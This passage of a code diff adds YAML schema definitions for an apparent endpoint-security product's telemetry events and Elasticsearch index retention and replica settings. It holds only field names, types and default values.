+    properties:
+      access:
+        title: Access
+        type: integer
+      access_str:
+        minLength: 1
+        title: Access str
+        type: string
+      is_self_destination:
+        title: Is self destination
+        type: boolean
+      stack_trace:
+        $ref: '#/definitions/ECSStackTrace'
+      tid:
+        title: Tid
+        type: integer
+    required:
+      - access
+      - access_str
+      - is_self_destination
+      - stack_trace
+      - tid
+    type: object
+  ECSProcessPtrace:
+    properties:
+      options:
+        title: Options
+        type: integer
+      options_str:
+        minLength: 1
+        title: Options str
+        type: string
+      request:
+        title: Request
+        type: integer
+      request_str:
+        minLength: 1
+        title: Request str
+        type: string
+      target_is_child:
+        title: Target is child
+        type: boolean
+    required:
+      - options
+      - options_str
+      - request
+      - request_str
+      - target_is_child
+    type: object
+  ECSScheduledTask:
+    properties:
+      actions:
+        items:
+          $ref: '#/definitions/ECSScheduledTaskAction'
+        type: array
+      client_process_id:
+        title: Client process id
+        type: integer
+      first_action_commandline:
+        minLength: 1
+        title: First action commandline
+        type: string
+      is_remote:
+        title: Is remote
+        type: boolean
+      number_of_actions:
+        title: Number of actions
+        type: integer
+      number_of_triggers:
+        title: Number of triggers
+        type: integer
+      operation:
+        minLength: 1
+        title: Operation
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      principal:
+        $ref: '#/definitions/ECSScheduledTaskPrincipal'
+      priority:
+        title: Priority
+        type: integer
+      process_image:
+        minLength: 1
+        title: Process image
+        type: string
+      rpc_call_locality:
+        title: Rpc call locality
+        type: integer
+      settings:
+        $ref: '#/definitions/ECSScheduledTaskSettings'
+      source_logon_id:
+        title: Source logon id
+        type: integer
+      spawned_process_pid:
+        title: Spawned process pid
+        type: integer
+      task_content:
+        minLength: 1
+        title: Task content
+        type: string
+      task_name:
+        minLength: 1
+        title: Task name
+        type: string
+      triggers:
+        items:
+          $ref: '#/definitions/ECSScheduledTaskTrigger'
+        type: array
+    required:
+      - actions
+      - client_process_id
+      - first_action_commandline
+      - is_remote
+      - number_of_actions
+      - number_of_triggers
+      - operation
+      - path
+      - principal
+      - priority
+      - process_image
+      - rpc_call_locality
+      - settings
+      - source_logon_id
+      - spawned_process_pid
+      - task_content
+      - task_name
+      - triggers
+    type: object
+  ECSScheduledTaskAction:
+    properties:
+      arguments:
+        minLength: 1
+        title: Arguments
+        type: string
+      class_id:
+        minLength: 1
+        title: Class id
+        type: string
+      command:
+        minLength: 1
+        title: Command
+        type: string
+      command_line:
+        minLength: 1
+        title: Command line
+        type: string
+      context:
+        minLength: 1
+        title: Context
+        type: string
+      data:
+        minLength: 1
+        title: Data
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      working_directory:
+        minLength: 1
+        title: Working directory
+        type: string
+    required:
+      - arguments
+      - class_id
+      - command
+      - command_line
+      - context
+      - data
+      - type
+      - working_directory
+    type: object
+  ECSScheduledTaskPrincipal:
+    properties:
+      group_id:
+        minLength: 1
+        title: Group id
+        type: string
+      logon_type:
+        minLength: 1
+        title: Logon type
+        type: string
+      run_level:
+        minLength: 1
+        title: Run level
+        type: string
+      user_id:
+        minLength: 1
+        title: User id
+        type: string
+    required:
+      - group_id
+      - logon_type
+      - run_level
+      - user_id
+    type: object
+  ECSScheduledTaskSettings:
+    properties:
+      enabled:
+        title: Enabled
+        type: boolean
+      execution_time_limit:
+        minLength: 1
+        title: Execution time limit
+        type: string
+      hidden:
+        title: Hidden
+        type: boolean
+      priority:
+        title: Priority
+        type: integer
+    required:
+      - enabled
+      - execution_time_limit
+      - hidden
+      - priority
+    type: object
+  ECSScheduledTaskTrigger:
+    properties:
+      days_interval:
+        title: Days interval
+        type: integer
+      days_of_month:
+        items:
+          type: integer
+        type: array
+      days_of_week:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      delay:
+        minLength: 1
+        title: Delay
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      end_boundary:
+        format: date-time
+        title: End boundary
+        type: string
+      execution_time_limit:
+        minLength: 1
+        title: Execution time limit
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      matching_element:
+        minLength: 1
+        title: Matching element
+        type: string
+      month_days_of_week:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      months:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      number_of_occurrences:
+        title: Number of occurrences
+        type: integer
+      period_of_occurrence:
+        minLength: 1
+        title: Period of occurrence
+        type: string
+      random_delay:
+        minLength: 1
+        title: Random delay
+        type: string
+      repeat_duration:
+        minLength: 1
+        title: Repeat duration
+        type: string
+      repeat_interval:
+        minLength: 1
+        title: Repeat interval
+        type: string
+      schedule_months:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      start_boundary:
+        format: date-time
+        title: Start boundary
+        type: string
+      state_change:
+        minLength: 1
+        title: State change
+        type: string
+      stop_at_duration_end:
+        title: Stop at duration end
+        type: boolean
+      subscription:
+        minLength: 1
+        title: Subscription
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      user_id:
+        minLength: 1
+        title: User id
+        type: string
+      value_queries:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      weeks:
+        items:
+          type: integer
+        type: array
+      weeks_interval:
+        title: Weeks interval
+        type: integer
+    required:
+      - days_interval
+      - days_of_month
+      - days_of_week
+      - delay
+      - enabled
+      - end_boundary
+      - execution_time_limit
+      - id
+      - matching_element
+      - month_days_of_week
+      - months
+      - number_of_occurrences
+      - period_of_occurrence
+      - random_delay
+      - repeat_duration
+      - repeat_interval
+      - schedule_months
+      - start_boundary
+      - state_change
+      - stop_at_duration_end
+      - subscription
+      - type
+      - user_id
+      - value_queries
+      - weeks
+      - weeks_interval
+    type: object
+  ECSSource:
+    properties:
+      process:
+        $ref: '#/definitions/ECSProcess'
+    required:
+      - process
+    type: object
+  ECSStackTrace:
+    properties:
+      full:
+        minLength: 1
+        title: Full
+        type: string
+      minimal:
+        minLength: 1
+        title: Minimal
+        type: string
+      raw:
+        minLength: 1
+        title: Raw
+        type: string
+    required:
+      - full
+      - minimal
+      - raw
+    type: object
+  ECSTarget:
+    properties:
+      process:
+        $ref: '#/definitions/ECSProcess'
+    required:
+      - process
+    type: object
+  ECSTelemetry:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      container:
+        $ref: '#/definitions/ECSContainer'
+      destination:
+        $ref: '#/definitions/ECSDestination'
+      etw_ti_ke_insert_queue_apc:
+        $ref: '#/definitions/ECSEtwTiKeInsertQueueApc'
+      etw_ti_nt_allocate_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtAllocateVirtualMemory'
+      etw_ti_nt_map_view_of_section:
+        $ref: '#/definitions/ECSEtwTiNtMapViewOfSection'
+      etw_ti_nt_protect_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtProtectVirtualMemory'
+      etw_ti_nt_read_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      etw_ti_nt_set_context_thread:
+        $ref: '#/definitions/ECSEtwTiNtSetContextThread'
+      etw_ti_nt_write_virtual_memory:
+        $ref: '#/definitions/ECSEtwTiNtReadWriteVirtualMemory'
+      event:
+        $ref: '#/definitions/ECSEvent'
+      group:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      process:
+        $ref: '#/definitions/ECSProcess'
+      process_duplicate_handle:
+        $ref: '#/definitions/ECSProcessDuplicateHandle'
+      process_ptrace:
+        $ref: '#/definitions/ECSProcessPtrace'
+      scheduled_task:
+        $ref: '#/definitions/ECSScheduledTask'
+      source:
+        $ref: '#/definitions/ECSSource'
+      stack_trace:
+        $ref: '#/definitions/ECSStackTrace'
+      target:
+        $ref: '#/definitions/ECSTarget'
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      user:
+        $ref: '#/definitions/ECSUser'
+      win32k_get_async_key_state:
+        $ref: '#/definitions/ECSWin32kGetAsyncKeyState'
+      win32k_register_raw_input_devices:
+        $ref: '#/definitions/ECSWin32kRegisterRawInputDevices'
+      win32k_set_windows_hook_ex:
+        $ref: '#/definitions/ECSWin32kSetWindowsHookEx'
+      windows_service:
+        $ref: '#/definitions/ECSWindowsService'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - container
+      - destination
+      - etw_ti_ke_insert_queue_apc
+      - etw_ti_nt_allocate_virtual_memory
+      - etw_ti_nt_map_view_of_section
+      - etw_ti_nt_protect_virtual_memory
+      - etw_ti_nt_read_virtual_memory
+      - etw_ti_nt_set_context_thread
+      - etw_ti_nt_write_virtual_memory
+      - event
+      - group
+      - id
+      - log_type
+      - process
+      - process_duplicate_handle
+      - process_ptrace
+      - scheduled_task
+      - source
+      - stack_trace
+      - target
+      - tenant
+      - user
+      - win32k_get_async_key_state
+      - win32k_register_raw_input_devices
+      - win32k_set_windows_hook_ex
+      - windows_service
+    type: object
+  ECSUser:
+    properties:
+      domain:
+        minLength: 1
+        title: Domain
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - domain
+      - id
+      - name
+    type: object
+  ECSWin32kGetAsyncKeyState:
+    properties:
+      background_call_count:
+        title: Background call count
+        type: integer
+      ms_since_last_keyevent:
+        title: Ms since last keyevent
+        type: integer
+    required:
+      - background_call_count
+      - ms_since_last_keyevent
+    type: object
+  ECSWin32kRegisterRawInputDevices:
+    properties:
+      flags:
+        title: Flags
+        type: integer
+      flags_str:
+        minLength: 1
+        title: Flags str
+        type: string
+      return_value:
+        title: Return value
+        type: integer
+      start_address_allocation_protection:
+        minLength: 1
+        title: Start address allocation protection
+        type: string
+      start_module_name:
+        minLength: 1
+        title: Start module name
+        type: string
+      thread_info_flags:
+        minLength: 1
+        title: Thread info flags
+        type: string
+      usage_id:
+        title: Usage id
+        type: integer
+      usage_id_str:
+        minLength: 1
+        title: Usage id str
+        type: string
+      usage_page:
+        title: Usage page
+        type: integer
+      usage_page_str:
+        minLength: 1
+        title: Usage page str
+        type: string
+      visible_windows_count:
+        title: Visible windows count
+        type: integer
+      windows_count:
+        title: Windows count
+        type: integer
+    required:
+      - flags
+      - flags_str
+      - return_value
+      - start_address_allocation_protection
+      - start_module_name
+      - thread_info_flags
+      - usage_id
+      - usage_id_str
+      - usage_page
+      - usage_page_str
+      - visible_windows_count
+      - windows_count
+    type: object
+  ECSWin32kSetWindowsHookEx:
+    properties:
+      filter_type:
+        title: Filter type
+        type: integer
+      filter_type_str:
+        minLength: 1
+        title: Filter type str
+        type: string
+      hook_function:
+        minLength: 1
+        title: Hook function
+        type: string
+      hook_library:
+        minLength: 1
+        title: Hook library
+        type: string
+      return_value:
+        title: Return value
+        type: integer
+    required:
+      - filter_type
+      - filter_type_str
+      - hook_function
+      - hook_library
+      - return_value
+    type: object
+  ECSWindowsService:
+    properties:
+      account:
+        minLength: 1
+        title: Account
+        type: string
+      commandline:
+        minLength: 1
+        title: Commandline
+        type: string
+      control_code_id:
+        title: Control code id
+        type: integer
+      control_code_str:
+        minLength: 1
+        title: Control code str
+        type: string
+      is_remote_operation:
+        title: Is remote operation
+        type: boolean
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      operation:
+        minLength: 1
+        title: Operation
+        type: string
+      start_type_id:
+        title: Start type id
+        type: integer
+      start_type_str:
+        minLength: 1
+        title: Start type str
+        type: string
+      type_id:
+        title: Type id
+        type: integer
+      type_str:
+        minLength: 1
+        title: Type str
+        type: string
+    required:
+      - account
+      - commandline
+      - control_code_id
+      - control_code_str
+      - is_remote_operation
+      - name
+      - operation
+      - start_type_id
+      - start_type_str
+      - type_id
+      - type_str
+    type: object
+  ESILMIndicesPolicies:
+    properties:
+      alert__delete__max_count:
+        minimum: 2
+        title: Alert  delete  max count
+        type: integer
+        x-nullable: true
+      alert__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Alert  delete  min age
+        type: string
+      alert__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Alert  hot  max age
+        type: string
+      alert__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Alert  hot  max size
+        type: string
+      alert_subevent__delete__max_count:
+        minimum: 2
+        title: Alert subevent  delete  max count
+        type: integer
+        x-nullable: true
+      alert_subevent__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Alert subevent  delete  min age
+        type: string
+      alert_subevent__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Alert subevent  hot  max age
+        type: string
+      alert_subevent__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Alert subevent  hot  max size
+        type: string
+      auditlog__delete__max_count:
+        minimum: 2
+        title: Auditlog  delete  max count
+        type: integer
+        x-nullable: true
+      auditlog__delete__min_age:
+        default: 180d
+        minLength: 1
+        title: Auditlog  delete  min age
+        type: string
+      auditlog__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Auditlog  hot  max age
+        type: string
+      auditlog__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Auditlog  hot  max size
+        type: string
+      experimental_alert__delete__max_count:
+        minimum: 2
+        title: Experimental alert  delete  max count
+        type: integer
+        x-nullable: true
+      experimental_alert__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Experimental alert  delete  min age
+        type: string
+      experimental_alert__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Experimental alert  hot  max age
+        type: string
+      experimental_alert__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Experimental alert  hot  max size
+        type: string
+      hl-hlaimaliciousfile__delete__max_count:
+        minimum: 2
+        title: Hl-hlaimaliciousfile  delete  max count
+        type: integer
+        x-nullable: true
+      hl-hlaimaliciousfile__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Hl-hlaimaliciousfile  delete  min age
+        type: string
+      hl-hlaimaliciousfile__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Hl-hlaimaliciousfile  hot  max age
+        type: string
+      hl-hlaimaliciousfile__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Hl-hlaimaliciousfile  hot  max size
+        type: string
+      hl-network_discovery__delete__max_count:
+        minimum: 2
+        title: Hl-network discovery  delete  max count
+        type: integer
+        x-nullable: true
+      hl-network_discovery__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Hl-network discovery  delete  min age
+        type: string
+      hl-network_discovery__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Hl-network discovery  hot  max age
+        type: string
+      hl-network_discovery__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Hl-network discovery  hot  max size
+        type: string
+      log-agent-agentlog__delete__max_count:
+        minimum: 2
+        title: Log-agent-agentlog  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-agentlog__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-agentlog  delete  min age
+        type: string
+      log-agent-agentlog__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-agentlog  hot  max age
+        type: string
+      log-agent-agentlog__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-agentlog  hot  max size
+        type: string
+      log-agent-amsi_scan__delete__max_count:
+        minimum: 2
+        title: Log-agent-amsi scan  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-amsi_scan__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-amsi scan  delete  min age
+        type: string
+      log-agent-amsi_scan__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-amsi scan  hot  max age
+        type: string
+      log-agent-amsi_scan__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-amsi scan  hot  max size
+        type: string
+      log-agent-authentication__delete__max_count:
+        minimum: 2
+        title: Log-agent-authentication  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-authentication__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-authentication  delete  min age
+        type: string
+      log-agent-authentication__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-authentication  hot  max age
+        type: string
+      log-agent-authentication__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-authentication  hot  max size
+        type: string
+      log-agent-dns-resolution__delete__max_count:
+        minimum: 2
+        title: Log-agent-dns-resolution  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-dns-resolution__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-dns-resolution  delete  min age
+        type: string
+      log-agent-dns-resolution__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-dns-resolution  hot  max age
+        type: string
+      log-agent-dns-resolution__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-dns-resolution  hot  max size
+        type: string
+      log-agent-driverload__delete__max_count:
+        minimum: 2
+        title: Log-agent-driverload  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-driverload__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-driverload  delete  min age
+        type: string
+      log-agent-driverload__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-driverload  hot  max age
+        type: string
+      log-agent-driverload__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-driverload  hot  max size
+        type: string
+      log-agent-ecs_telemetries_normal__delete__max_count:
+        minimum: 2
+        title: Log-agent-ecs telemetries normal  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-ecs_telemetries_normal__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-ecs telemetries normal  delete  min age
+        type: string
+      log-agent-ecs_telemetries_normal__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-ecs telemetries normal  hot  max age
+        type: string
+      log-agent-ecs_telemetries_normal__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-ecs telemetries normal  hot  max size
+        type: string
+      log-agent-eventlog__delete__max_count:
+        minimum: 2
+        title: Log-agent-eventlog  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-eventlog__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-eventlog  delete  min age
+        type: string
+      log-agent-eventlog__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-eventlog  hot  max age
+        type: string
+      log-agent-eventlog__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-eventlog  hot  max size
+        type: string
+      log-agent-file__delete__max_count:
+        minimum: 2
+        title: Log-agent-file  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-file__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-file  delete  min age
+        type: string
+      log-agent-file__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-file  hot  max age
+        type: string
+      log-agent-file__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-file  hot  max size
+        type: string
+      log-agent-group_event__delete__max_count:
+        minimum: 2
+        title: Log-agent-group event  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-group_event__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-group event  delete  min age
+        type: string
+      log-agent-group_event__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-group event  hot  max age
+        type: string
+      log-agent-group_event__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-group event  hot  max size
+        type: string
+      log-agent-injectedthread__delete__max_count:
+        minimum: 2
+        title: Log-agent-injectedthread  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-injectedthread__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-injectedthread  delete  min age
+        type: string
+      log-agent-injectedthread__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-injectedthread  hot  max age
+        type: string
+      log-agent-injectedthread__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-injectedthread  hot  max size
+        type: string
+      log-agent-library_load__delete__max_count:
+        minimum: 2
+        title: Log-agent-library load  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-library_load__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-library load  delete  min age
+        type: string
+      log-agent-library_load__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-library load  hot  max age
+        type: string
+      log-agent-library_load__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-library load  hot  max size
+        type: string
+      log-agent-named_pipe__delete__max_count:
+        minimum: 2
+        title: Log-agent-named pipe  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-named_pipe__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-named pipe  delete  min age
+        type: string
+      log-agent-named_pipe__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-named pipe  hot  max age
+        type: string
+      log-agent-named_pipe__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-named pipe  hot  max size
+        type: string
+      log-agent-network__delete__max_count:
+        minimum: 2
+        title: Log-agent-network  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-network__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-network  delete  min age
+        type: string
+      log-agent-network__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-network  hot  max age
+        type: string
+      log-agent-network__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-network  hot  max size
+        type: string
+      log-agent-network_listen__delete__max_count:
+        minimum: 2
+        title: Log-agent-network listen  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-network_listen__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-network listen  delete  min age
+        type: string
+      log-agent-network_listen__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-network listen  hot  max age
+        type: string
+      log-agent-network_listen__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-network listen  hot  max size
+        type: string
+      log-agent-powershell__delete__max_count:
+        minimum: 2
+        title: Log-agent-powershell  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-powershell__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-powershell  delete  min age
+        type: string
+      log-agent-powershell__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-powershell  hot  max age
+        type: string
+      log-agent-powershell__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-powershell  hot  max size
+        type: string
+      log-agent-process__delete__max_count:
+        minimum: 2
+        title: Log-agent-process  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-process__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-process  delete  min age
+        type: string
+      log-agent-process__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-process  hot  max age
+        type: string
+      log-agent-process__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-process  hot  max size
+        type: string
+      log-agent-process_access__delete__max_count:
+        minimum: 2
+        title: Log-agent-process access  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-process_access__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-process access  delete  min age
+        type: string
+      log-agent-process_access__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-process access  hot  max age
+        type: string
+      log-agent-process_access__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-process access  hot  max size
+        type: string
+      log-agent-process_tamper__delete__max_count:
+        minimum: 2
+        title: Log-agent-process tamper  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-process_tamper__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-process tamper  delete  min age
+        type: string
+      log-agent-process_tamper__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-process tamper  hot  max age
+        type: string
+      log-agent-process_tamper__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-process tamper  hot  max size
+        type: string
+      log-agent-raw_device_access__delete__max_count:
+        minimum: 2
+        title: Log-agent-raw device access  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-raw_device_access__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-raw device access  delete  min age
+        type: string
+      log-agent-raw_device_access__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-raw device access  hot  max age
+        type: string
+      log-agent-raw_device_access__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-raw device access  hot  max size
+        type: string
+      log-agent-raw_socket_creation__delete__max_count:
+        minimum: 2
+        title: Log-agent-raw socket creation  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-raw_socket_creation__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-raw socket creation  delete  min age
+        type: string
+      log-agent-raw_socket_creation__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-raw socket creation  hot  max age
+        type: string
+      log-agent-raw_socket_creation__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-raw socket creation  hot  max size
+        type: string
+      log-agent-registry__delete__max_count:
+        minimum: 2
+        title: Log-agent-registry  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-registry__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-registry  delete  min age
+        type: string
+      log-agent-registry__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-registry  hot  max age
+        type: string
+      log-agent-registry__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-registry  hot  max size
+        type: string
+      log-agent-remotethread__delete__max_count:
+        minimum: 2
+        title: Log-agent-remotethread  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-remotethread__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-remotethread  delete  min age
+        type: string
+      log-agent-remotethread__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-remotethread  hot  max age
+        type: string
+      log-agent-remotethread__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-remotethread  hot  max size
+        type: string
+      log-agent-url_request__delete__max_count:
+        minimum: 2
+        title: Log-agent-url request  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-url_request__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-url request  delete  min age
+        type: string
+      log-agent-url_request__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-url request  hot  max age
+        type: string
+      log-agent-url_request__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-url request  hot  max size
+        type: string
+      log-agent-usb_activity__delete__max_count:
+        minimum: 2
+        title: Log-agent-usb activity  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-usb_activity__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-usb activity  delete  min age
+        type: string
+      log-agent-usb_activity__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-usb activity  hot  max age
+        type: string
+      log-agent-usb_activity__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-usb activity  hot  max size
+        type: string
+      log-agent-user_event__delete__max_count:
+        minimum: 2
+        title: Log-agent-user event  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-user_event__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-user event  delete  min age
+        type: string
+      log-agent-user_event__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-user event  hot  max age
+        type: string
+      log-agent-user_event__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-user event  hot  max size
+        type: string
+      log-agent-wmi_event__delete__max_count:
+        minimum: 2
+        title: Log-agent-wmi event  delete  max count
+        type: integer
+        x-nullable: true
+      log-agent-wmi_event__delete__min_age:
+        default: 90d
+        minLength: 1
+        title: Log-agent-wmi event  delete  min age
+        type: string
+      log-agent-wmi_event__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Log-agent-wmi event  hot  max age
+        type: string
+      log-agent-wmi_event__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Log-agent-wmi event  hot  max size
+        type: string
+      resource__delete__max_count:
+        minimum: 2
+        title: Resource  delete  max count
+        type: integer
+        x-nullable: true
+      resource__delete__min_age:
+        default: 3d
+        minLength: 1
+        title: Resource  delete  min age
+        type: string
+      resource__hot__max_age:
+        default: 1d
+        minLength: 1
+        title: Resource  hot  max age
+        type: string
+      resource__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Resource  hot  max size
+        type: string
+      whitelist-stats__delete__max_count:
+        minimum: 2
+        title: Whitelist-stats  delete  max count
+        type: integer
+        x-nullable: true
+      whitelist-stats__delete__min_age:
+        default: 180d
+        minLength: 1
+        title: Whitelist-stats  delete  min age
+        type: string
+      whitelist-stats__hot__max_age:
+        default: 30d
+        minLength: 1
+        title: Whitelist-stats  hot  max age
+        type: string
+      whitelist-stats__hot__max_size:
+        default: 50GB
+        minLength: 1
+        title: Whitelist-stats  hot  max size
+        type: string
+    type: object
+  ESIndicesReplicas:
+    properties:
+      agg-alert:
+        default: 1
+        minimum: 0
+        title: Agg-alert
+        type: integer
+      alert:
+        default: 1
+        minimum: 0
+        title: Alert
+        type: integer
+      alert_subevent:
+        default: 1
+        minimum: 0
+        title: Alert subevent
+        type: integer
+      auditlog:
+        default: 1
+        minimum: 0
+        title: Auditlog
+        type: integer
+      experimental_alert:
+        default: 1
+        minimum: 0
+        title: Experimental alert
+        type: integer
+      hl-binary:
+        default: 3
+        minimum: 0
+        title: Hl-binary
+        type: integer
+      hl-case:
+        default: 1
+        minimum: 0
+        title: Hl-case
+        type: integer
+      hl-config:
+        default: 3
+        minimum: 0
+        title: Hl-config
+        type: integer
+      hl-externals:
+        default: 3
+        minimum: 0
